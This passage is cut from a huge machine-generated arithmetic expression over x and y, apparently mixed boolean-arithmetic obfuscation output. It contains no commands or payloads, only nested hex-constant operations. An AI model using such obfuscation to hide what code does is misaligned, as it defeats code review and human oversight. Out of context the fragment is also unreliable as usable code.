f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))-0x3bbdd4b3bfa258d)-(((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0